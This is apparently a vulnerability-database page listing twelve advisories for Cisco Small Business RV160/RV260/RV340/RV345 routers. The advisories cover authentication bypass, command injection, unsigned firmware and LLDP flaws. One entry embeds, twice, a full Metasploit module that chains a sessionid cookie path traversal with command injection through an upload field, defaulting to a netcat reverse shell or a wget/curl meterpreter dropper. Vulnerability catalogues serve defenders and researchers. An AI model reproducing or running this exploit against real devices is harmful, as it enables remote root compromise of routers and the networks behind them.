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12 vulnerabilities found for rv160 by cisco
VAR-202202-0329
Vulnerability from variot - Updated: 2024-02-13 22:30Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV Series routers contain an out-of-bounds write vulnerability.Information may be obtained and information may be tampered with. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Cisco RV340 routers. User interaction is required to exploit this vulnerability in that an administrator must perform a firmware update on the device.The specific flaw exists within the downloading of firmware files via HTTPS. The issue results from the lack of proper validation of the certificate presented by the server. An attacker can leverage this vulnerability to execute code in the context of root
Show details on source website{
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VAR-202202-0326
Vulnerability from variot - Updated: 2024-02-13 22:30Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV Series routers contain an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. This vulnerability allows local attackers to escalate privileges on affected installations of Cisco RV340 routers. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.The specific flaw exists within the utility-ping-request script. The issue results from the creation of a temporary file with insecure permissions. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of root
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Vulnerability from variot - Updated: 2024-02-13 01:43Multiple vulnerabilities exist in the web-based management interface of Cisco Small Business RV Series Routers. A remote attacker could execute arbitrary commands or bypass authentication and upload files on an affected device. For more information about these vulnerabilities, see the Details section of this advisory
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VAR-202202-0325
Vulnerability from variot - Updated: 2024-02-13 01:29Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV series router Exists in an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of Cisco RV340 routers. Authentication is not required to exploit this vulnerability.The specific flaw exists within the configuration of the NGINX web server. When parsing the sessionid cookie, the process does not properly validate a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to bypass authentication on the system. This access can then be used to pivot to other parts of the network. This module works on firmware versions 1.0.03.24 and below. }, 'License' => MSF_LICENSE, 'Platform' => ['linux', 'unix'], 'Author' => [ 'Biem Pham', # Vulnerability Discoveries 'Neterum', # Metasploit Module 'jbaines-r7' # Inspired from cisco_rv_series_authbypass_and_rce.rb ], 'DisclosureDate' => '2021-11-02', 'Arch' => [ARCH_CMD, ARCH_ARMLE], 'References' => [ ['CVE', '2022-20705'], # Authentication Bypass ['CVE', '2022-20707'], # Command Injection ['ZDI', '22-410'], # Authentication Bypass ['ZDI', '22-411'] # Command Injection ], 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'Payload' => { 'BadChars' => '\'#' }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_ARMLE], 'Type' => :linux_dropper, 'Payload' => { 'BadChars' => '\'#' }, 'CmdStagerFlavor' => [ 'wget', 'curl' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'MeterpreterTryToFork' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Base path', '/']) ] ) end
# sessionid utilized later needs to be set to length # of 16 or exploit will fail. Tested with lengths # 14-17 def generate_session_id return Rex::Text.rand_text_alphanumeric(16) end
def check res = send_request_cgi({ 'method' => 'GET', 'uri' => '/upload', 'headers' => { 'Cookie' => 'sessionid =../../www/index.html; sessionid=' + generate_session_id } }, 10)
# A proper "upload" will trigger file creation. So the send_request_cgi call
# above is an incorrect "upload" call to avoid creating a file on disk. The router will return
# status code 405 Not Allowed if authentication has been bypassed by the above request.
# The firmware containing this authentication bypass also contains the command injection
# vulnerability that will be abused during actual exploitation. Non-vulnerable
# firmware versions will respond with 403 Forbidden.
if res.nil?
return CheckCode::Unknown('The device did not respond to request packet.')
elsif res.code == 405
return CheckCode::Appears('The device is vulnerable to authentication bypass. Likely also vulnerable to command injection.')
elsif res.code == 403
return CheckCode::Safe('The device is not vulnerable to exploitation.')
else # Catch-all
return CheckCode::Unknown('The target responded in an unexpected way. Exploitation is unlikely.')
end
end
def execute_command(cmd, _opts = {}) res = send_exploit(cmd)
# Successful unix_cmd shells should not produce a response.
# However if a response is returned, check the status code and return
# Failure::NotVulnerable if it is 403 Forbidden.
if target['Type'] == :unix_cmd && res&.code == 403
fail_with(Failure::NotVulnerable, 'The target responded with 403 Forbidden and is not vulnerable')
end
if target['Type'] == :linux_dropper
fail_with(Failure::Unreachable, 'The target did not respond') unless res
fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res&.code == 200
begin
body_json = res.get_json_document
fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json
rescue JSON::ParserError => e
print_error("Failed: #{e.class} - #{e.message}")
fail_with(Failure::UnexpectedReply, 'Failed to parse the response returned from the server! Its possible the response may not be JSON!')
end
end
print_good('Exploit successfully executed.')
end
def send_exploit(cmd) filename = Rex::Text.rand_text_alphanumeric(5..12) fileparam = Rex::Text.rand_text_alphanumeric(5..12) input = Rex::Text.rand_text_alphanumeric(5..12)
# sessionid utilized later needs to be set to length
# of 16 or exploit will fail. Tested with lengths
# 14-17
sessionid = Rex::Text.rand_text_alphanumeric(16)
filepath = '/tmp/upload.input' # This file must exist and be writeable by www-data so we just use the temporary upload file to prevent issues.
pathparam = 'Configuration'
destination = "'; " + cmd + ' #'
multipart_form = Rex::MIME::Message.new
multipart_form.add_part(filepath, nil, nil, 'form-data; name="file.path"')
multipart_form.add_part(filename, nil, nil, 'form-data; name="filename"')
multipart_form.add_part(pathparam, nil, nil, 'form-data; name="pathparam"')
multipart_form.add_part(fileparam, nil, nil, 'form-data; name="fileparam"')
multipart_form.add_part(destination, nil, nil, 'form-data; name="destination"')
multipart_form.add_part(input, 'application/octet-stream', nil, format('form-data; name="input"; filename="%<filename>s"', filename: filename))
# Escaping "/tmp/upload/" folder that does not contain any other permanent files
send_request_cgi({
'method' => 'POST',
'uri' => '/upload',
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
'headers' => {
'Cookie' => 'sessionid =../../www/index.html; sessionid=' + sessionid
},
'data' => multipart_form.to_s
}, 10)
end
def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager(linemax: 120) end end end
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"data": "Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV series router Exists in an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of Cisco RV340 routers. Authentication is not required to exploit this vulnerability.The specific flaw exists within the configuration of the NGINX web server. When parsing the sessionid cookie, the process does not properly validate a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to bypass authentication on the system. \n This access can then be used to pivot to other parts of the network. This module works on firmware\n versions 1.0.03.24 and below. \n },\n \u0027License\u0027 =\u003e MSF_LICENSE,\n \u0027Platform\u0027 =\u003e [\u0027linux\u0027, \u0027unix\u0027],\n \u0027Author\u0027 =\u003e [\n \u0027Biem Pham\u0027, # Vulnerability Discoveries\n \u0027Neterum\u0027, # Metasploit Module\n \u0027jbaines-r7\u0027 # Inspired from cisco_rv_series_authbypass_and_rce.rb\n ],\n \u0027DisclosureDate\u0027 =\u003e \u00272021-11-02\u0027,\n \u0027Arch\u0027 =\u003e [ARCH_CMD, ARCH_ARMLE],\n \u0027References\u0027 =\u003e [\n [\u0027CVE\u0027, \u00272022-20705\u0027], # Authentication Bypass\n [\u0027CVE\u0027, \u00272022-20707\u0027], # Command Injection\n [\u0027ZDI\u0027, \u002722-410\u0027], # Authentication Bypass\n [\u0027ZDI\u0027, \u002722-411\u0027] # Command Injection\n ],\n \u0027Targets\u0027 =\u003e [\n [\n \u0027Unix Command\u0027,\n {\n \u0027Platform\u0027 =\u003e \u0027unix\u0027,\n \u0027Arch\u0027 =\u003e ARCH_CMD,\n \u0027Type\u0027 =\u003e :unix_cmd,\n \u0027Payload\u0027 =\u003e {\n \u0027BadChars\u0027 =\u003e \u0027\\\u0027#\u0027\n },\n \u0027DefaultOptions\u0027 =\u003e {\n \u0027PAYLOAD\u0027 =\u003e \u0027cmd/unix/reverse_netcat\u0027\n }\n }\n ],\n [\n \u0027Linux Dropper\u0027,\n {\n \u0027Platform\u0027 =\u003e \u0027linux\u0027,\n \u0027Arch\u0027 =\u003e [ARCH_ARMLE],\n \u0027Type\u0027 =\u003e :linux_dropper,\n \u0027Payload\u0027 =\u003e {\n \u0027BadChars\u0027 =\u003e \u0027\\\u0027#\u0027\n },\n \u0027CmdStagerFlavor\u0027 =\u003e [ \u0027wget\u0027, \u0027curl\u0027 ],\n \u0027DefaultOptions\u0027 =\u003e {\n \u0027PAYLOAD\u0027 =\u003e \u0027linux/armle/meterpreter/reverse_tcp\u0027\n }\n }\n ]\n ],\n \u0027DefaultTarget\u0027 =\u003e 0,\n \u0027DefaultOptions\u0027 =\u003e {\n \u0027RPORT\u0027 =\u003e 443,\n \u0027SSL\u0027 =\u003e true,\n \u0027MeterpreterTryToFork\u0027 =\u003e true\n },\n \u0027Notes\u0027 =\u003e {\n \u0027Stability\u0027 =\u003e [CRASH_SAFE],\n \u0027Reliability\u0027 =\u003e [REPEATABLE_SESSION],\n \u0027SideEffects\u0027 =\u003e [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n }\n )\n )\n register_options(\n [\n OptString.new(\u0027TARGETURI\u0027, [true, \u0027Base path\u0027, \u0027/\u0027])\n ]\n )\n end\n\n # sessionid utilized later needs to be set to length\n # of 16 or exploit will fail. Tested with lengths\n # 14-17\n def generate_session_id\n return Rex::Text.rand_text_alphanumeric(16)\n end\n\n def check\n res = send_request_cgi({\n \u0027method\u0027 =\u003e \u0027GET\u0027,\n \u0027uri\u0027 =\u003e \u0027/upload\u0027,\n \u0027headers\u0027 =\u003e {\n \u0027Cookie\u0027 =\u003e \u0027sessionid =../../www/index.html; sessionid=\u0027 + generate_session_id\n }\n }, 10)\n\n # A proper \"upload\" will trigger file creation. So the send_request_cgi call\n # above is an incorrect \"upload\" call to avoid creating a file on disk. The router will return\n # status code 405 Not Allowed if authentication has been bypassed by the above request. \n # The firmware containing this authentication bypass also contains the command injection\n # vulnerability that will be abused during actual exploitation. Non-vulnerable\n # firmware versions will respond with 403 Forbidden. \n if res.nil?\n return CheckCode::Unknown(\u0027The device did not respond to request packet.\u0027)\n elsif res.code == 405\n return CheckCode::Appears(\u0027The device is vulnerable to authentication bypass. Likely also vulnerable to command injection.\u0027)\n elsif res.code == 403\n return CheckCode::Safe(\u0027The device is not vulnerable to exploitation.\u0027)\n else # Catch-all\n return CheckCode::Unknown(\u0027The target responded in an unexpected way. Exploitation is unlikely.\u0027)\n end\n end\n\n def execute_command(cmd, _opts = {})\n res = send_exploit(cmd)\n\n # Successful unix_cmd shells should not produce a response. \n # However if a response is returned, check the status code and return\n # Failure::NotVulnerable if it is 403 Forbidden. \n if target[\u0027Type\u0027] == :unix_cmd \u0026\u0026 res\u0026.code == 403\n fail_with(Failure::NotVulnerable, \u0027The target responded with 403 Forbidden and is not vulnerable\u0027)\n end\n\n if target[\u0027Type\u0027] == :linux_dropper\n fail_with(Failure::Unreachable, \u0027The target did not respond\u0027) unless res\n fail_with(Failure::UnexpectedReply, \u0027The target did not respond with a 200 OK\u0027) unless res\u0026.code == 200\n begin\n body_json = res.get_json_document\n fail_with(Failure::UnexpectedReply, \u0027The target did not respond with a JSON body\u0027) unless body_json\n rescue JSON::ParserError =\u003e e\n print_error(\"Failed: #{e.class} - #{e.message}\")\n fail_with(Failure::UnexpectedReply, \u0027Failed to parse the response returned from the server! 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VAR-202202-0893
Vulnerability from variot - Updated: 2024-01-18 22:56Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV Series routers contain an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state
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VAR-202202-0323
Vulnerability from variot - Updated: 2024-01-18 22:29Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV Series routers contain an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Cisco RV340 routers. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of firmware updates. The issue results from the lack of proper validation of a firmware image when performing an upgrade. An attacker can leverage this vulnerability to execute code in the context of root
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VAR-202202-0321
Vulnerability from variot - Updated: 2023-12-26 22:42Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV Series routers contain an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Cisco RV340 routers. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of firmware updates. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root
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VAR-202208-0321
Vulnerability from variot - Updated: 2023-12-18 13:27Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an unauthenticated, remote attacker to execute arbitrary code or cause a denial of service (DoS) condition on an affected device. For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business Router products include OS A command injection vulnerability exists.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. Authentication is not required to exploit this vulnerability.The specific flaw exists within the wfapp application. A crafted server response can trigger execution of a system call composed from a attacker-supplied string. An attacker can leverage this vulnerability to execute code in the context of root. Cisco has released software updates that address these vulnerabilities. There are no workarounds that address these vulnerabilities. This advisory is available at the following link:tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sb-mult-vuln-CbVp4SUR
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Vulnerability from variot - Updated: 2023-12-18 13:27Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an unauthenticated, remote attacker to execute arbitrary code or cause a denial of service (DoS) condition on an affected device. For more information about these vulnerabilities, see the Details section of this advisory. RV160 VPN router firmware, RV160W Wireless-AC VPN router firmware, RV260 VPN Multiple Cisco Systems products, including router firmware, contain vulnerabilities related to input validation.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. Cisco has released software updates that address these vulnerabilities. There are no workarounds that address these vulnerabilities. This advisory is available at the following link:tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sb-mult-vuln-CbVp4SUR
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Vulnerability from variot - Updated: 2023-12-18 13:17Multiple vulnerabilities exist in the Link Layer Discovery Protocol (LLDP) implementation for Cisco Small Business RV Series Routers. An unauthenticated, adjacent attacker could execute arbitrary code or cause an affected router to leak system memory or reload. A memory leak or device reload would cause a denial of service (DoS) condition on an affected device. For more information about these vulnerabilities, see the Details section of this advisory. Note: LLDP is a Layer 2 protocol. To exploit these vulnerabilities, an attacker must be in the same broadcast domain as the affected device (Layer 2 adjacent)
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VAR-202104-0380
Vulnerability from variot - Updated: 2023-12-18 13:17Multiple vulnerabilities exist in the Link Layer Discovery Protocol (LLDP) implementation for Cisco Small Business RV Series Routers. An unauthenticated, adjacent attacker could execute arbitrary code or cause an affected router to leak system memory or reload. A memory leak or device reload would cause a denial of service (DoS) condition on an affected device. For more information about these vulnerabilities, see the Details section of this advisory. Note: LLDP is a Layer 2 protocol. To exploit these vulnerabilities, an attacker must be in the same broadcast domain as the affected device (Layer 2 adjacent)
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VAR-202104-0377
Vulnerability from variot - Updated: 2023-12-18 13:17Multiple vulnerabilities exist in the Link Layer Discovery Protocol (LLDP) implementation for Cisco Small Business RV Series Routers. An unauthenticated, adjacent attacker could execute arbitrary code or cause an affected router to leak system memory or reload. A memory leak or device reload would cause a denial of service (DoS) condition on an affected device. For more information about these vulnerabilities, see the Details section of this advisory. Note: LLDP is a Layer 2 protocol. To exploit these vulnerabilities, an attacker must be in the same broadcast domain as the affected device (Layer 2 adjacent)
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